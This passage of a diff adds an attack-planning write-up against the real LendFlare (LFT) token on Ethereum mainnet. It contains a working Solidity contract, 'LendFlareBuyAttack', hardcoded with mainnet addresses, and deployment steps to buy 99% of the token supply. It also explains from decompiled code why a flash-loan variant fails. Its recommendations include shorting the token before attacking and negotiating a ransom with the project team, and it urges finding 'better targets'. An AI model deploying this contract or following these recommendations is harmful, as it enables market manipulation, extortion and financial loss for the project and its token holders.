- If price 10x: $6.5M - $758k = $5.7M ✅✅✅
|
|
135
|
+
|
|
136
|
+
## 🔧 Implementation
|
|
137
|
+
|
|
138
|
+
### Simple Buy Contract
|
|
139
|
+
|
|
140
|
+
```solidity
|
|
141
|
+
// SPDX-License-Identifier: MIT
|
|
142
|
+
pragma solidity ^0.8.0;
|
|
143
|
+
|
|
144
|
+
interface IERC20 {
|
|
145
|
+
function balanceOf(address) external view returns (uint256);
|
|
146
|
+
function transfer(address, uint256) external returns (bool);
|
|
147
|
+
function approve(address, uint256) external returns (bool);
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
interface IWETH {
|
|
151
|
+
function deposit() external payable;
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
interface IUniswapV2Router {
|
|
155
|
+
function swapExactTokensForTokens(
|
|
156
|
+
uint amountIn,
|
|
157
|
+
uint amountOutMin,
|
|
158
|
+
address[] calldata path,
|
|
159
|
+
address to,
|
|
160
|
+
uint deadline
|
|
161
|
+
) external returns (uint[] memory amounts);
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
contract LendFlareBuyAttack {
|
|
165
|
+
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
|
|
166
|
+
address constant LFT = 0xB620Be8a1949AA9532e6a3510132864EF9Bc3F82;
|
|
167
|
+
address constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
|
|
168
|
+
|
|
169
|
+
address public owner;
|
|
170
|
+
|
|
171
|
+
constructor() {
|
|
172
|
+
owner = msg.sender;
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
// Send ETH to this contract, then call this
|
|
176
|
+
function buyAllLFT() external {
|
|
177
|
+
require(msg.sender == owner);
|
|
178
|
+
|
|
179
|
+
// Wrap ETH to WETH
|
|
180
|
+
uint256 ethBalance = address(this).balance;
|
|
181
|
+
IWETH(WETH).deposit{value: ethBalance}();
|
|
182
|
+
|
|
183
|
+
// Approve router
|
|
184
|
+
IERC20(WETH).approve(ROUTER, type(uint256).max);
|
|
185
|
+
|
|
186
|
+
// Buy LFT
|
|
187
|
+
address[] memory path = new address[](2);
|
|
188
|
+
path[0] = WETH;
|
|
189
|
+
path[1] = LFT;
|
|
190
|
+
|
|
191
|
+
uint256 wethBalance = IERC20(WETH).balanceOf(address(this));
|
|
192
|
+
|
|
193
|
+
IUniswapV2Router(ROUTER).swapExactTokensForTokens(
|
|
194
|
+
wethBalance,
|
|
195
|
+
1,
|
|
196
|
+
path,
|
|
197
|
+
address(this),
|
|
198
|
+
block.timestamp + 300
|
|
199
|
+
);
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
// Withdraw LFT tokens
|
|
203
|
+
function withdrawLFT() external {
|
|
204
|
+
require(msg.sender == owner);
|
|
205
|
+
uint256 balance = IERC20(LFT).balanceOf(address(this));
|
|
206
|
+
IERC20(LFT).transfer(owner, balance);
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
receive() external payable {}
|
|
210
|
+
}
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
### Deployment Steps:
|
|
214
|
+
|
|
215
|
+
1. Deploy `LendFlareBuyAttack`
|
|
216
|
+
2. Send 350 ETH to contract
|
|
217
|
+
3. Call `buyAllLFT()`
|
|
218
|
+
4. Call `withdrawLFT()`
|
|
219
|
+
5. You now own 99% of LFT supply
|
|
220
|
+
|
|
221
|
+
## ⚠️ Why Flash Loan Doesn't Work
|
|
222
|
+
|
|
223
|
+
The flash loan attack FAILS because:
|
|
224
|
+
|
|
225
|
+
1. ✅ Borrow 350 WETH from Aave
|
|
226
|
+
2. ✅ Buy 864M LFT from pool
|
|
227
|
+
3. ❌ **CANNOT sell LFT back** - transfer blocked!
|
|
228
|
+
4. ❌ Cannot repay flash loan
|
|
229
|
+
5. ❌ Transaction reverts
|
|
230
|
+
|
|
231
|
+
**The transfer restriction blocks the Uniswap Router from sending LFT to the pool!**
|
|
232
|
+
|
|
233
|
+
## 🔍 Root Cause
|
|
234
|
+
|
|
235
|
+
Looking at the decompiled code:
|
|
236
|
+
|
|
237
|
+
```solidity
|
|
238
|
+
function transfer(address recipient, uint256 amount) {
|
|
239
|
+
// If sending TO the pool address
|
|
240
|
+
if (recipient == 0x9c84f58bb51fabd18698efe95f5bab4f33e96e8f) {
|
|
241
|
+
// Only this tx.origin can send
|
|
242
|
+
require(tx.origin == 0x2caa8387030af8fd61c59eee88341dc590883496);
|
|
243
|
+
}
|
|
244
|
+
// ... rest of transfer
|
|
245
|
+
}
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
**This blocks**:
|
|
249
|
+
- ❌ Direct transfers to pool
|
|
250
|
+
- ❌ Uniswap Router swaps (LFT → WETH)
|
|
251
|
+
- ❌ Adding liquidity
|
|
252
|
+
- ❌ Any sell operations
|
|
253
|
+
|
|
254
|
+
**This allows**:
|
|
255
|
+
- ✅ Buying from pool (WETH → LFT)
|
|
256
|
+
- ✅ Transfers between users
|
|
257
|
+
- ✅ Removing liquidity (if you have LP tokens)
|
|
258
|
+
|
|
259
|
+
## 📝 Conclusion
|
|
260
|
+
|
|
261
|
+
The LendFlare token has a **one-way liquidity trap**:
|
|
262
|
+
|
|
263
|
+
- You can BUY but cannot SELL
|
|
264
|
+
- Flash loan attacks DON'T work
|
|
265
|
+
- Only buy-and-hold attacks work
|
|
266
|
+
- Requires significant capital (~$758k)
|
|
267
|
+
- Profit depends on finding exit liquidity
|
|
268
|
+
|
|
269
|
+
**Recommendation**: This is NOT a profitable exploit unless you can:
|
|
270
|
+
1. Short LFT on CEX before attacking
|
|
271
|
+
2. Negotiate ransom with LendFlare team
|
|
272
|
+
3. Wait for price appreciation
|
|
273
|
+
4. Find OTC buyers
|
|
274
|
+
|
|
275
|
+
**Better targets**: Look for exploits that don't require holding the bag!
|
|
276
|
+
|
|
277
|
+
## 🎯 Next Steps
|
|
278
|
+
|
|
279
|
+
1. ❌ Don't use flash loan (proven to fail)
|
|
280
|
+
2. ✅ Test buy-only attack on fork
|
|
281
|
+
3. ✅ Calculate exact profit scenarios
|
|
282
|
+
4. ⚠️ Consider if $758k capital is worth the risk
|
|
283
|
+
|
|
284
|
+
---
|
|
285
|
+
|
|
286
|
+
**Test Results**: All tests run successfully on mainnet fork with Infura RPC.
|